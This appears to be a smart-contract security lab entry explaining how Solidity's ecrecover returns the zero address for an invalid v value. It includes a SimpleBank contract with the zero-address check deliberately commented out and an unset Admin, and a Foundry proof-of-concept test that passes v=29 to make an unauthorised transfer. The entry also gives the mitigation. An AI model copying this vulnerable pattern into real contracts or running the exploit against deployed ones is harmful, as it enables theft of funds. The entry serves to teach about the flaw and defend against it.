Name: ecrecover returns address(0)

Description: In the SimpleBank contract, the transfer function takes a message hash and a signature (v, r, s values) as inputs. It recovers the signer address and checks if it equals Admin. The vulnerability lies in the fact that the ecrecover function may return a 0x0 address when the signature parameters are invalid, If v value isn't 27 or 28. it will return address(0).

Mitigation:

Verify that the result from ecrecover isn't 0 or instead use OpenZeppelin’s ECDSA library.

REF:

https://twitter.com/1nf0s3cpt/status/1674268926761668608

https://github.com/code-423n4/2021-09-swivel-findings/issues/61

https://github.com/Kaiziron/numen_ctf_2023_writeup/blob/main/wallet.md

SimpleBank Contract:

contract SimpleBank {
    mapping(address => uint256) private balances;
    address Admin; //default is address(0)

    function getBalance(address _account) public view returns (uint256) {
        return balances[_account];
    }

    function recoverSignerAddress(
        bytes32 _hash,
        uint8 _v,
        bytes32 _r,
        bytes32 _s
    ) private pure returns (address) {
        address recoveredAddress = ecrecover(_hash, _v, _r, _s);
        return recoveredAddress;
    }

    function transfer(
        address _to,
        uint256 _amount,
        bytes32 _hash,
        uint8 _v,
        bytes32 _r,
        bytes32 _s
    ) public {
        require(_to != address(0), "Invalid recipient address");

        address signer = recoverSignerAddress(_hash, _v, _r, _s);
        console.log("signer", signer);
        //Mitigation
        //require(signer != address(0), "Invalid signature");
        require(signer == Admin, "Invalid signature");

        balances[_to] += _amount;
    }
}

How to Test:

forge test --contracts src/test/ecrecover.sol -vvvv

// Function to test a ecRecover vulnerability
    function testecRecover() public {
        // Emits a log with the balance of the current contract before exploitation
        emit log_named_decimal_uint(
            "Before exploiting, my balance",
            SimpleBankContract.getBalance(address(this)),
            18
        );

        // Generates a message hash
        bytes32 _hash = keccak256(
            abi.encodePacked("\\x19Ethereum Signed Message:\\n32")
        );

        // Signs the generated hash using vm.sign function. Here, 1 represents the account index
        // The returned variables r and s are part of the ECDSA signature (Elliptic Curve Digital Signature Algorithm)
        (, bytes32 r, bytes32 s) = vm.sign(1, _hash);

        // Sets the v variable to 29
        // Typically in Ethereum, v is 27 or 28. When v is neither 27 nor 28, 
        // the ecrecover function used for signature validation will return address(0)
        uint8 v = 29;

        // Calls the transfer function of the SimpleBankContract with an incorrect v value
        // If SimpleBankContract does not correctly validate the v value of the signature,
        // this could lead to an unauthorized transfer
        SimpleBankContract.transfer(address(this), 1 ether, _hash, v, r, s);

        // Emits a log with the balance of the current contract after the exploit
        emit log_named_decimal_uint(
            "After exploiting, my balance",
            SimpleBankContract.getBalance(address(this)),
            18
        );
    }

Red box: returned zero address.

Untitled